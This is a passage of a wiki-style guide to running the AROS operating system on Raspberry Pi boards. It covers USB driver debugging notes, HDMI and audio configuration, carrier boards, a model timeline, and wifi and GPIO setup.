compile * Provision of necessary functions (main issues are wait queues, threads, work queues, tasklets, timers, spinlocks and mutexes (multithreading) ) * Interfacing between USB stack and the driver. dwc_otg/dwc_otg_hcd_linux.c looks like the place to start. the Linux bits of the headers are only required for the dwc_common_port library. dwc_common_port includes a variety of crypto functions which are not used – it appears to also be used for ultrawideband (UWB) and wireless USB (WUSB) drivers where crypto will be an issue, but it isn't going to be for plain wired USB. Every USB driver acts as an USB hub as well in order to let Poseidon control the state of USB ports. The code there was reading status of the only USB port in Raspberry's CPU but when changing the status it erroneously deleted some of the status bits, including the port enable one. It was so because those bits in the status register are of a type Read/WriteToClear. It means, if one does not want to change their value from 1 back to 0, one has to actually write the 0 value. Very practical thing e.g. in interrupt handlers, where one reads the interrupt status register to learn what was the interrupt reason, and writes it back to the same register in order to clear the interrupts. After fixing that code it turned out that the communication was still unsuccessful. Apparently the USB device was not understanding the host for some reason. That should not happen since the request sent was one of the standard ones implemented by virtually anything with an USB connector, assumed that Poseidon clears the data caches before forwarding the work to the USB drivers but that's the responsibility of the driver itself. The USB device responded and acknowledged the transmission! But why were all the request sent after address change failing with timeout? They should not. Once again, address set is supported just by anything. Tried to contact the device at address 0 once again and there it was, still responding properly. The enlightenment came. The bus address for DMA transmissions was, as it is in many bare metal USB implementations, just the pure memory address of the buffer as seen by the ARM cpu. Have "prefixed" it with the real location of uncached RAM and booted AROS once again. Trident saw this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 and this: Product : Vendor: Vdr=0424/PID=EC00 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 255 SubClass : 0 DevProto : 1 VendorID : 1060 ProductID : 60416 DevVers : 0200 and even this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 What are these things? The first one is USB hub built in the Raspberry. Thanks to this one the Pi machines (with exception of Pi0 and computing modules) have more than just one single USB port. The second one is the network chip in raspberry, the third one is my USB SD card reader which have just connected to see what happens. AROS tried, of course, to boot from it ;) So, the first step towards working USB is done. The control transfers are working as you can see above. Next step is to implement bulk and interrupt transfers, having the basics in place. Finally some error handling will be added and USB for Pi will be as complete as the PC version. [http://www.raspyfi.com/raspberry-pi-usb-audio-fix/ Issue with USB Audio] Audio [https://github.com/raspberrypi/linux/tree/rpi-patches/sound/arm audio] and its [https://github.com/raspberrypi/firmware/issues/2 very high speed message passing interface type of thing VCHI] The Model B+ added an additional voltage regulator for the audio output and an additional output driver to drive low-resistance loads like headphones. However it is still using pulse-width modulation (PWM), which has a major impact on sound quality the old Raspberry Pi used a linear voltage regulator to provide the 3.3V to many of the components on the board while the new one uses a switching regulator. Both can perform reasonably well. However switch mode power supplies often show higher noise figures Analogue audio Audio over HDMI rev 1.3 & 1.4 Ethernet 10/100 BaseT Ethernet RJ45 socket GPIO GPIO shouldn't be too bad but bear in mind it is already accessed in places so they would need to allocate pins etc through it (e.g. sdcard to flicker the activity light, serial debug to output data on the GPIO pins) Probably a resource rather than a device... Started an i2c driver that will need to allocate GPIO pins. Feel free to work on it if you are interested ;p GPU graphics with 2D and 3D acceleration Sadly none yet for 32bit but for 64bit... Miscellanous hdmi issues Setting the hdmi_force_hotplug=1 makes sure the Pi believes the monitor/TV is really there. You might also need to set config_hdmi_boost=4 or even higher (up to 9) if your display needs a stronger signal. If the display is a computer monitor or newer tv, use hdmi_group=1 (auto HDMI use) and if it is an older TV, try hdmi_group=2 (for DMT formats, i.e. for PC monitors) then you HAVE to "set hdmi_drive = 2 to enable HDMI output as this forces HDMI mode rather than DVI mode Do not set hdmi_safe=1 as that overrides many of the previous options. Using a shorter or better quality HDMI cable might help. Make sure your Pi's power supply delivers 1 A and not 500 mA. If you see a problem with the red colour - either absent, or interference - then try a boost composite video changing the RCA cable, then the composite port worked out of the box Boot it as you are doing, without HDMI. If you now plug in the HDMI, do you get the image? In other words, does the Pi think HDMI is connected even when it isn't? Rename all the files in the first partion of the card except bootcode.bin, start.elf and fixup.dat What's the result? Put back config.txt What's the result? for PAL mode sdtv_mode=2 dmi_ignore_hotplug Pretends HDMI hotplug signal is not asserted so it appears a HDMI display is not attached hdmi_ignore_hotplug=1 Use composite mode even if HDMI monitor is detected <pre> # NOOBS Auto-generated Settings: #hdmi_force_hotplug=1 #config_hdmi_boost=4 #overscan_left=24 #overscan_right=24 #overscan_top=16 #overscan_bottom=16 #disable_overscan=0 start_x=1 gpu_mem=128 </pre> tvservice -c "PAL 4:3" <pre> /opt/vc/bin/tvservice -s or tvservice -s state: HPD high|HDMI mode|HDCP off|composite off (0x12001a), 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m CEA Group CEA has 1 modes: (native) mode 16: 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m DMT Group DMT has 0 modes: </pre> sudo amixer cset numid=3 1 forces the audio to the headphone jack, even with the HDMI video output plugged in config.txt the hdmi_ignore_edid_audio=1 option sems relevant as it should tell ALSA that the only available audio is analog, no matter what the display says There are several different ways that these 4 pole (ring) composite analog cables can be wired up, so some work great in some applications and can be a waste of time in others. What is needed for the Raspberry Pi B+ and above, which like many camcorders needs the ring contact next to the base contact to be the ground. The wiring for the 4 pole are: TIP (LEFT AUDIO CHANNEL) RING 1 (RIGHT AUDIO CHANNEL) RING 2 (GROUND/EARTH) RING 3 BASE/SLEEVE (VIDEO) YELLOW Most Apple based Players and the Microsoft Zune (TM) are wired this way. Most analogue camcorders are wired this way as well, where the ground in on Ring 2 will work with the Pi although you may need to swap your Video plug with the Right Audio plug. Nearly all other MP3 players are not wired this way, the ground is on another ring ie the wrong one. External devices * Camera Module Omnivision ov5647 Sunny 5MP (NoIR version) V1.3 - NoIR at 850&nbsp;nm, peak at 880&nbsp;nm and trails off at 940&nbsp;nm wavelengths * Camera V2 Sony IMX219 V2.1 8mpixel 8MP 8megapixel - 3280 x 2464 pixels - video at 1080p30, 720p60 and 640x480p90 - wider field of view, 62 vs 54 degrees horizontally - * Branded WIFI usb BCM43143 dongle N.B. dreaded error after changing cameras (stupidly without turning off the power first) and lasted through several power cycles. It can be a bad 15-pin FFC ribbon cable, when swapped, camera(s) and the Pi itself are working OK. It can be an instance of a cold solder joint on the CSI connector on the pi board. the camera can be detected (that's done via I2C) but may still not be able to receive image data (done via CSI-2) if something is broken. CSI-2 is uni-directional. Control is generally done via I2C. The CSI-2 receiver always writes to memory, not direct to the ISP. That's the way the Broadcom architecture works as it allows multipass processing easily. GPU memory is accessible from the ARM. Processing using the QPU graphics processors may be possible. currently the only supported sensor is OV5647 and IMX219. The linux drivers are all in the firmware blob, else you'd be looking at at least a man-month of work in a fully fledged imaging lab to do a decent tuning of the camera modules' ISP parameters. Static electricity maybe an issue for the camera module and slightly less for the pi board. == References == Testing procedure is put sd card in, connect board to board if necessary, plug in hdmi and then power nothing else is done especially CSI DSI etc [https://www.raspberrypi.com/documentation/computers/compute-module.html CM5] has the same 55mm x 40mm 2x100pin connectors form factor as the CM4 but [https://www.epdtonthenet.net/article/214508/Key-Considerations-When-Migrating-from-Raspberry-Pi-CM4-to-CM5.aspx some pins and other small things] have changed. Will need the [https://raspipcb.com/tech-blog/raspberry-pi-cm4-vs-cm5-difference-in-booting-from-sd-card/ right IO board to suit] *Green [ Raspberry Pi Compute Module 5 IO Board REV2 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1967]] - untested *Green [ RPi Compute Module 5 IO board REV1 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1751]] - untested *Black SupTronics Geekbord X1500 CM5 IO Carrier Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[https://sipeed.com/nanocluster Sipeed NanoCluster] - untested up to 7 CM5 *Green BentoIO CMX0 - untested *Box EDATec ED-CLAWBOX - untested *Home Assistant Yellow - Kit with PoE with Raspberry Pi Compute Module 5 - untested *Blue [https://www.waveshare.com/wiki/CM5_PoE_BASE_A Waveshare CM5-PoE-BASE-A] - untested *Box Waveshare [ CM5-POE-BOX-A] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-B Waveshare CM5-IO-BASE-B] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-A Waveshare CM5-IO-BASE-A] - untested *Blue Waveshare [https://www.waveshare.com/wiki/CM5-NANO-B CM5-NANO-B] - untested *[https://carboncomputers.us/products/pi-flux piFlux] *[https://carboncomputers.us/products/ Zitaotech Hackberry] CM5 lite only - *Portable [https://www.waveshare.com/pocketterm35.htm Waveshare PocketTerm35] with Pi4B or Pi5 - untested *Box [https://www.clockworkpi.com/uconsole ClockworkPi uConsole][https://www.youtube.com/watch?v=EtI_bAahbR8 CM4 into an adapter or CM3 into so-dimm - Cyberdeck] - untested *Green RPi [https://datasheets.raspberrypi.com/cm4io/CM4IO-KiCAD.zip Compute Module 4] [https://datasheets.raspberrypi.com/cm4io/cm4io-datasheet.pdf IO board] V1.4 [https://datasheets.raspberrypi.com/cm4io/CM4IOUSB3-KiCAD.zip USB3] [https://datasheets.raspberrypi.com/cm4io/cm4iousb3-appnote.pdf CM4ISO] [https://datasheets.raspberrypi.com/cm4/cm4-datasheet.pdf Dual100pin] (2020) aka Development Platform Board - untested *Purple Pi Hut Cytron CM4 Maker Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[ KubeSail PiBox mini 2] *Home Assistant Yellow with Raspberry Pi Compute Module 4 - untested *[ Turing Pi V2] - untested CM4 with 260-pin SO-DIMM socket adapters and/or nvidia jetson nanos - untested *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-C Waveshare CM4-IO-BASE-C] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-B Waveshare CM4-IO-BASE-B] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-A Waveshare CM4-IO-BASE-A] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-NANO-B Waveshare CM4-NANO] - untested but usb and audio turned off or rerouted CM3 has a 200 pin sodimm ddr2 connector form factor but not electrically SC0028, SC0029 *Blue [https://wiki.geekworm.com/CM_IO_Board Geekworm RPi Compute Module IO Board] [https://github.com/geekworm-com/cm-io-board CSI DSI] with CM3 in ddr2 slot underside - '''works''' if SW1 on but CM3+ '''does not''' *Green [https://cdn-shop.adafruit.com/product-files/3442/CMIO_schematic.pdf RPi V3 IO board CM3IO] and CM3 Lite - untested *Green [https://turingpi.com/ turingpi v1 cluster] - untested up to 7 cm3 7xlan9514 12V discontinued, 3 x Pi4 homelab maybe better *Blue [https://www.waveshare.com/wiki/Compute_Module_PoE_Board Waveshare Compute Module PoE Board] and CM3 lite (if not lite, write files to internal eMMC fat32) '''AVOID''' bin blobs *Blue [https://www.waveshare.com/compute-module-io-board-plus.htm Waveshare Compute Module IO Board Plus] [https://www.waveshare.com/wiki/Compute_Module_IO_Board_Plus wiki] [https://forums.raspberrypi.com/viewtopic.php?t=235695 pin settings] with CM3+ Lite - '''AVOID''' binary blob *[ Pi02w on Geekworm SupTronics X305 Raspberry Pi Zero IO Baseboard] - untested *[ Spotpear Pi Zero 2w to Pi3b format-ish] - untested *[ pi-top v4] box has 128x64 oled display, micro hdmi, 19Whr battery with pi4 and 15V PD 36W min needed *[ pi-top v3] three green pieces, heatsink covers most of the base tray, pi-top hub mk1 lhs and Pi1B Pi2b Pi3b rhs secured from below, black rounded strip with pi-top above keyboard, 13.3" HD 1366 x 768 display, small touchpad, *[ pi-top Model 2.0] pi-top on bottom bezel of 14-inch green laptop, large trackpad, keyboard slide down to reveal main system hub on slide rails moved to the right, Raspberry Pi3b screws down, hub slides in, 18V 2.5A 45W charger brick, battery 11.1V 3500mAh 38.85Wh and storage PiTopOS *[ Pi-Top CEED Raspberry Pi Modular Educational Desktop with RPI3] monitor *[https://www.indiegogo.com/en/projects/jesselozano/pi-top-a-raspberry-pi-laptop-you-build-yourself Pi-Top v1] wedge laptop with RPi2 <pre> 2008 Trustees collected for Foundation 2009 Pi Foundation charity status gained 2010 2011 First Raspberry prototypes 2012 First boards go on sale at CPC and RS. The Model A and B 700 MHz Arm11 - February 29th BCM 2835 2012 First million sold - more than the 10,000 original planned and anticipated 2013 First Alpha Experimental builds of AROS Native for the 32bit Pi 2013 Pi Trading launched making grants available, providing in house educational resources and Pi Academy for teacher training 2013 Over two million sold 2014 Over three million sold 2014 Pi 1 Model B+ introduced that moved composite video to audio jack and same half gig of memory 2014 Pi Model A+ v1.1 no ethernet and 1 usb - a little smaller - 2015 Over four million first gen pis sold 2015 Pi Zero 1.2 BCM2835 first production revision released with no camera port 2016 Pi0 1.3 released with camera csi connector 2017 Pi Zero W v1.1 1GHz Pi0W, single-core 32bit CPU BCM2835 released with Cypress CYW43438 wireless 2020 Raspberry Pi Pico SC0919 with RP2040 32-bit 2Core ARM Cortex-M0+ up to 133 MHz - 264KB of SRAM and 2MB of on-board QSPI Flash - 2024 Raspberry Pi Pico 2 with RP2350 2Core 32bit Arm Cortex-M33 and 2core open-hardware [https://github.com/wren6991/hazard3 Hazard3 RISC-V] 2015 Pi 2 Model B v1.1 BCM2836 900/600 MHz ARM Cortex-A7 Armv7 quad 32bit, 32bit VideoCore IV GPU - 1Gb RAM - 5V 2A micro usb - SMSC LAN9514 chip - 2015 Over a million pi2s sold 2015 Raspberry Pi 2 Model B version 1.2 Pi2bv1.2, aka Pi2B2 has armv8 BCM2837 underclocked to 900Mhz without wifi/bluetooth module 2016 Pi 3 Model B - Broadcom BCM2837 SOC four 64bit ARMv8 Cortex-A53 1.2GHz 32bit 1080p VideoCore IV GPU - 1Gb DDR2 - bluetooth 4.1, Cypress CYW43438 wireless 802.11n - 4 x USB2.0 ports - 5.1V 2.5A - SMSC LAN9514 chip 2016 PIs total over 10 million worldwide 2017 Compute Module 3 CM3 with BCM2837B0 armv8 Quad 64-bit - small 67.6mm x 31mm board which fits DDR2 SODIMM connector but not electrically compatible which plugs into needed IO board - beware of the I2C protocol issue 1Gb LPDDR2 RAM - Lite or 4Gb Emmc storage 2017 12 million pis sold in total 2018 Pi 3 Model B+ - 4c A53 BCM2837B0 1.4Ghz - 1Gb, wireless 802.11ac, gigabit ethernet (300Mbit/s) and bluetooth 4.2 - power over ethernet - 4 x USB2.0 ports - Microchip LAN7515 chip 2019 Over 15 million sold 2019 Pi 3 Model A+ with BCM2837b0 Cortex-A53 64-bit SoC @ 1.4 GHz with 512Mb LPDDR2, 1 usb2, 1 hdmi, 1 micro usb 5V 2A - no ethernet - 2019 Raspberry Pi Compute Module 3+ CM3+ - Broadcom BCM2837B0 1.2Ghz, Cortex-A53 (ARMv8) 64-bit SoC on DDR2 SODIMM mechanically compatible only factor - IO board required 1Gb DDR2 and 8GB, 16GB, 32GB or a Lite variant without eMMC 2021 Pi zero 2 (w or no W) RP3A0 quad 1GHz Cortex-A53 64bit BCM2710A1 512mB SDRam 2025 edaTEC CM0 ED-CM0NANA with additional dev board with quad 1Ghz A53 with 512Mb Raysan RAM, 2 USB2 and 10/100 ethernet - pico castellated edge 2019 Pi 4 Model B RPI4B - BCM2711B0T quad 64bit A72 1.5GHz, 4K VideoCore VI, AC wifi, Bluetooth 5.0, GbE Broadcom BCM54213PE (PHY ID 0x600d84a2), 2 micro hdmi decode up to 4K, USB-C 5.1V 3A power, 2xVLI VL805 USB 3, 2xUSB 2.0, 2GB 9LDWW D9WHZ or 4GB 9FDWW D9WHV, 8GB 0AA47 D9ZCL ddr4 ram 2020 Silent Pi 4 v1.2 upgrade with more USB-c psu support 2020 PI400 BCM2711C0T 1.8GHz 4Gb DDR4 inside keyboard, 5.1V 5A 27W usb-c psu, 2 micro hdmi, external ide style 40pin gpio, no audio port - 2020 Raspberry Pi Compute Module 4 BCM2711B0T on new 55mm x 40mm 2x100 pin form factor with extra breakout IO board CM4101000 1Gb RAM Lite SOM CM4102000 2GB RAM Lite CM4104000 4GB RAM Lite CM4004008-4GB-RAM 8GB-EMMC SOM System on Modules CM4104032 4GB RAM 32GB emmc CM4108000 8GB RAM Lite CM4008016 8GB RAM 16Gb eMMc 2021 Raspberry Pi SC0763 Compute Module 4S CM4S with ddr2 sodimm pinouts but not electrically the same with suitable IO board extra cost - CM4S01000 1GB RAM Lite CM4S01008 1GB RAM 8GB eMMC Flash CM4S02000 2GB RAM Lite CM4S04000 4GB RAM Lite CM4S08000 8GB RAM Lite 2021 Pi 4 v1.4 BCM2711B1 upgraded power regulator, to deal with 8gig of ram being more power hungry - 2021-48 Raspberry Pi 4 model B v1.5 2GB 2023 Pi 5 v1.0 BCM2712 Quad A76 @2.4Ghz - VideoCore VII - no audio socket - dual 4k from mini hdmi - fan connector - 5.1V 5A psu 2024 Pi 5 2GB DDR4 version uses BCM2712D0 2024 Pi-500 with 8Gb LPDDR5 and membrane keyboard 2024 Pi 5 v1.1 2024 Raspberry Pi Compute Module 5 CM5 BCM2712 55mm x 40mm form factor with additional IO board CM5004000 04GB RAM 0GB eMMC Lite CM5008000 08GB RAM 0GB eMMC Lite CM5016000 16GB RAM 0GB eMMC Lite 2025 Pi-500+ with 256GB NVMe storage, 16GB LPDDR4 RAM, and Gateron KS-33 Low Profile Blue mechanical keyboard switches 2025 Pi5 1GB DDR4 announced 2022 PiOS linux goes 64bit 2024 Pi Trading IPO stockmarket stock exchange listing 2026 April and May Aros 64bit fixed, added AHI audio, VC4 gfx started, usb functions added to rom 2026 June and July Aros 64bit usb2otg started, dma.resource, sdio.resource, bwfm.device wifi added 2026 Late July daily 64bit Pi3 LE little endian builds start 2026 August Pi 4, 400, 5 and 500 DTBs added, expanding existing support and wifi for Pi4 and Pi5 2026 August Pi5 HAT+ nvme and HDMI, AHI RPiI2S added, Pi4 HVS5 video scaler started, 2026 2027 2028 Pi 6 </pre> ==Future== [https://github.com/ARMSX2/ARMSX2 Arm pi of pcsx2] {{BookCat}} 3qm81ocldzzc0eos201sqwrr6awntg1 4670680 4670678 2026-09-17T14:50:08Z Jeff1138 301139 4670680 wikitext text/x-wiki {{ArosNav}} [[#Native]] [[#Hosted]] [[#Build]] [[#Hardware]] [[#References]] [[#Future]] ==Introduction== [[File:Scalos00.png|thumb|Scalos on Aros Pi3b]] Aros aims to cover Pi 3 to 5 1Gb+ RAM ideally as you may have to switch to 256Mb gfx mode depending on the application running Options to boot from using a good power source to prevent the yellow lightning symbol. *With Pi3b+ the max you can get is 5.1V 2.5A with micro usb. *With Pi4 5.1V 3A with usb-c *With Pi5 5.1V 5A, the amps went ever upwards, even to 5.1V 9A with usb-c Pi500+ keyboard wedge - Pi400 RPI-400 keyboard wedge - resolution changing and audio from micro hdmi0 (near 40pin) and micro hdmi1 (near usb-c psu) - Fn F10 0x5e power on and off works or held down for over 7 seconds auto shutdown - keyboard ok - wifi and lan ethernet testing - * Pi 5 - Quad A76 64bit ARMv8 and RP1 "southbridge" with VideoCore 7 Pre-D0 (Rev1.0) or D0 (rev1.1) * Pi 4 - Quad A72 64bit ARMv8 with VideoCore 6 * Pi 3 - Quad A53 [https://www.raspberrypi.com/documentation/computers/processors.html 64 bit] ARMv8 with VideoCore 4 with heatsink/fan on 3b to prevent cpu 82C+ throttling * Pi 2 - Quad 32bit ARMv6 with VideoCore 4 - mostly not 64bit compatible * Pi Model B+ 32bit ARMv6 with VideoCore 4 - not 64bit compatible * Pi Model A and B 32bit ARMv6 with VideoCore 4 - not 64bit compatible ===Native=== * 2013-03 Kalamatee starts work * 2015-04 Work continues with mschulz on the kernel and Kalamatee (NicJA) on gpio and usb * 2018 [https://www.patreon.com/posts/i-owe-you-some-20956961 mschulz resume adding BE big endian support], [https://www.patreon.com/michal_schulz/posts Big endian on Pi] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bsek latest commits for pi 3b, 4 and 5 64bit] * 2026 [https://github.com/aros-development-team/AROS/commits?author=metaneutrons latest commits for Pi5] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bitplane latest commits for ARM] '''Download''' [https://aros.sourceforge.io/nightly1.html RaspberryPi 3, 3+, 4 and 5 64bit ArmV8 builds] [https://sourceforge.net/projects/aros/files/ Alternative site and nightly2] both raspi-aarch64-system and raspi-aarch64-contrib can be unbz2'd and copied to fat32 8GB+ microSD card (there will be folders - boot c Classes Demos Developer Devs Extras etc only showing). The SD can be plugged in to the Pi 64bit build works well on a single core LE little endian. Multicore [https://github.com/aros-development-team/AROS/commit/1df0747c2bda3523a43029725a709b1f377d84ec may follow]. Any issues booting could be down to the SD card so please use another SD to see if it is resolved. Please report your experiences in the [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80 Aros Raspberry pi 3 64bit thread] and on the [https://forums.raspberrypi.com/viewtopic.php?p=2387984#p2387984 Raspberry Pi forum thread] Boots with '''USB3''' port based sata3 ssd on Pi400 but untested on Pi4 (may need eeprom update from PiOS or Pi SD Imager) and Pi5 Pi 3 B+ is pre-configured for USB sata3 boot - untested Pi 3 B may need [https://www.youtube.com/watch?v=ubnwvxF3Klc PiOS to set OTP to boot from usb - do so at your own risk] - if OTP set to usb, boot works but slower than SD card Speed write wise (top faster) <pre> *NVME Pi5 untested >1000MB/sec or faster if matched correctly *Sata3 ssd 500MB/sec *SD V90 90MB/sec 4K maybe 8K *SD V60 60MB/sec 1080p *SD U3 V30 30MB/sec 720p *SD C10 U1 V10 A1 A2 10MB/sec minimum should be used now *SD C06 6MB/sec *SD C04 4MB/sec </pre> As a homage to the past, Aros shows a reduced number of icons but this can be changed by left mouse click in the window and then right click down to Window -> View -> All files Windows can be manipulated by the top (moving) and the bottom right corner (resizing) only. Like most amiga like OSs the audio and networking need to be setup manually Audio AHI prefs - Mode settings tab - needs both Music unit and Unit 0 set to RPiHDMI:16 bit stereo++ or RPiPWM:16 bit stereo++ at 44100Hz. Press '''Save or Use''' button after each choice Double left mouse click on most picture (Developer/Debug/Tests/Datatypes), audio and video files are supported, via datatypes, by the multiview application. Esc escape key usually closes open windows even the desktop In Prefs/Appearance some decorative theming elements need work. There is a few Mason icons in /Prefs/Presets/Icons/Mason/ and the ever present default Gorilla - Icon exchange in works For more intensive graphics applications, you may need to edit config.txt in the root folder and change 128M to 256M to adjust more memory to graphics usage [http://archives.arosworld.org/index.php?function=browse&cat=network/browser amelinium web browser] is available with an [https://eab.abime.net/showthread.php?t=122494&page=51 eab thread] reminiscent of [https://github.com/zapek/Voyager Voyager] and to a lesser extent [https://github.com/amigazen/aweb3/ Aweb]. [[File:Wifi00.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi01.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi02.png|thumb|Setup wifi on Aros Pi3b]] Wifi setup needs the network prefs with the TCP/IP tab click add interface -> change Device to bwfm.device as net0:, IP Mode as DHCP and IPv4 Once you’ve configured the device, simply save the Wireless Networks tab Wi-Fi configuration even if it’s empty. This will create the Wireless.prefs file in the Prefs/Env-Archive/SYS drawer, and should see the Wireless Manager icon in Wanderer. Although a reboot maybe necessary. Wireless tab gets your router settings. If it does not set to start at boot, settings are preserved. Instead, add this to the user-startup: <pre> execute sys:system/network/arostcp/s/startnet run wirelessmanager device=bwfm.device >nil: </pre> Network will start automatically on boot. If you don't want the wirelessmanager icon on Wanderer desktop, just add 'nogui' to the wirelessmanager line Lan ethernet port on *lan9514 Pi3b Pi2 no support at the moment *lan7515 Pi3b+ type into Device usblan78xx.device as net0: remove other device(s) *bcmgenet Pi4 Pi400 choose for Device bcmgenet.device Summary *3b ethernet not supported, usb ethernet not working and setup wifi has interface issues *3b+ seems to work wifi and ethernet *4 untested *400 seems to work wifi and ethernet (with interface issues) There is normally no Bluetooth support for most amiga like OSs but Aros has one [https://github.com/aros-development-team/AROS/commit/6942cbfbf66426d21963a7fcd8aba6aff611a9e0 work in progress] [https://forums.raspberrypi.com/viewtopic.php?t=338466 firmware] *Bluetooth 4.1 BCM43430A1.hcd Pi3B, Pi3A, Zero W *Bluetooth 4.2 BCM4345C0.hcd Pi3B+, Pi4 *Bluetooth 5.0 BCM4345C5.hcd Pi4B rev, CM4 and maybe Pi5 and CM5 *bthid keyboard mouse support *btserial serial *btpan short range wireless connecting devices Only the Pi5 has a RTC real time clock, the other Pis will need to use Extras:Networking/utils/ntpsync/ or [https://archives.arosworld.org/index.php?function=browse&cat=network PiNTP] to get the date and time from the internet It helps to have all usb devices already plugged in before power on to detect at the moment. Even then some usb devices will freeze the mouse cursor and the only resolution is to remove the offending usb device and reinsert. Sometimes, the reinsert leads to the mouse cursor vanishing, it is still there and responds to left and right clicks. USB classes support from Prefs/Trident is still work in process *usbaudio working on usb3 port (blue) on pi4, 400 but not working (no rt isochronous) on usb2otg (white or black) for pi3b, zero 2w *[https://aminet.net/package/mus/midi/camd camdusbmidi] detects midi devices without a preferences file (Prefs/Env-Archive/sys/midi.prefs) as [https://www.youtube.com/watch?v=RBxHkwy4Nrw auto setup now] possibly with [https://github.com/metaneutrons/mt32-pi metaneutrons mt32-pi] [https://github.com/rtzor/mt32-pi mt32-pi fork] [https://github.com/ahmadexp/mt32-pi fork] [] [https://github.com/dwhinham/mt32-pi mt32-pi pi3+] as well as need developer gcc tools to look at 64bit ports of [https://archives.arosworld.org/?function=showfile&file=driver/audio/usbmidi.i386-aros.lha usbmidi], [https://aminet.net/package/mus/midi/CAMD_Toolkit CAMD_Toolkit], [https://aminet.net/package/mus/midi/camdtools camdtools], [https://github.com/cnvogelg/amiditools amiditools], [https://github.com/timoinutilis/midi-sequencer-amigaos horny src], [https://aminet.net/package/mus/midi/horny-base horny-base], [http://bnp.hansfaust.de/index.html BnP], [], Regarding 680x0 emulation, there are several options that could be considered *[https://github.com/aros-development-team/AROS/blob/6722a0ae9e03fe5d26e32703360bd2059e0864cc/rom/m68kemu/README.md?plain=1#L424 m68kemu.library] for some Amiga productivity where the cpu is emulated and the system calls are redirected to Aros ones *[https://github.com/BlitterStudio/amiberry amiberry] (winuae) for everything else like games *[https://github.com/jonx/AROS/tree/aarch64-darwin-graft/arch/all-darwin/libs/emu68k emu68k] *[https://scriptedamigaemulator.net/ Scripted Amiga] with [https://github.com/naTmeg/ScriptedAmigaEmulator ScriptedAmigaEmulator] or older [https://github.com/gbraad-amiga/ScriptedAmigaEmulator2 ScriptedAmigaEmulator2] [https://pinout.xyz/ GPIO 40 pins] [https://learn.sparkfun.com/tutorials/raspberry-gpio/gpio-pinout pinout] Some exceptions: *Physical pins 27, 28 (GPIO0, 1) are an internal I2C bus and should not be used *The other I2C on pins 3, 5 (GPIO 2, 3) can be used generally, but be aware they have permanent pull-up resistors to 3.3V *For MIDI use USB but there are dedicated UART pins 8, 10 (GPIO 14, 15). With a HAT it's more awkward -- you need to know which pins are used by the HAT and avoid them. Hopefully this will be documented. Remember all GPIOs are 3.3V (not 5V tolerant), floating/noisy inputs can cause odd behavior, and that shorting the power supplies can cause instant death of the Pi. In the shell GPIO PIN/A/N,SET/N,GET/S,MODE/K,PULL/K Controls and queries hardware GPIO pins via gpio.resource which is stored in the rom or Devs/ '''please test''' *PIN -- (Required) Target GPIO pin number (e.g. 12). *SET -- Set pin output value to 0 (LOW) or 1 (HIGH). *GET -- Read and print current digital input level (0 or 1). *MODE -- Configure pin mode: IN (Input), OUT (Output), ALT (Alternate). *PULL -- Configure pull resistor: NONE, UP, DOWN. EXAMPLES <pre> GPIO 12 MODE OUT GPIO 12 SET 1 GPIO 12 GET GPIO 13 PULL UP </pre> [https://gpiozero.readthedocs.io/en/stable/installing.html Current] [https://gpiozero.readthedocs.io/en/v1.2.0/api_boards.html old support for gpiozero is unknown at present] [https://energenie4u.co.uk/res/pdfs/ENER314%20UM.pdf and associated 433MHz equipment] [ USA X10 security and lights via USB] [ OpenHab with Shelly Smart Plug connected over Wi-Fi, controlled by MQTT or HTTP] Printing only with Postscript but [https://github.com/bohunamiga/MintPRINT one] of [https://github.com/boingball/MintPRINT two] [https://github.com/Andiweli/AmiAirPrint/tree/main AirPrint] IPP has been attempted with [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2061&pid=13954#post_13954 discussion] Youtube [], [], [https://www.youtube.com/watch?v=X4fmWAIv7FE Aros native on Pi3b], [], [], [https://www.youtube.com/watch?v=TSxlYb1eQWU Installed on Pi3b+], [], [], [https://www.youtube.com/watch?v=NFF1H3jCoz8 testing Aros native on Pi400], [], [], [https://www.youtube.com/watch?v=nIVx7mh1E1Q&pp=ygUHYXJvcyBwadIHCQkTDAGHKiGM7w%3D%3D Aros on Thumb 2 based 32bit-ish ARM STM32H743 board], The status of AROS native ARMv6 for 32bit RasPi was OK. System booting, USB working (although with some issues but plans to fix them). 32bit native [http://www.aros.org/nightly1.html ARMv6 32bit nightlys] raspi-armhf-system raspi-armhf-contrib unbz2'd to fat32 microSD ===Hosted=== AArch64 CPU backend for AROS, a Cocoa/Metal display, clipboard / host-volume / CoreAudio / BSD-sockets bridges, GPU 2D via gpufx.library, a 68k→AArch64 JIT (run68k), and a full Rust std port. On [https://www.jkn.me/blog/macaros-aros-on-apple-silicon/ latest Apple Silicon] [https://github.com/jonx/Macaros early buggy alpha version of hosted Aros .dmg on MacOS12+]. Please use 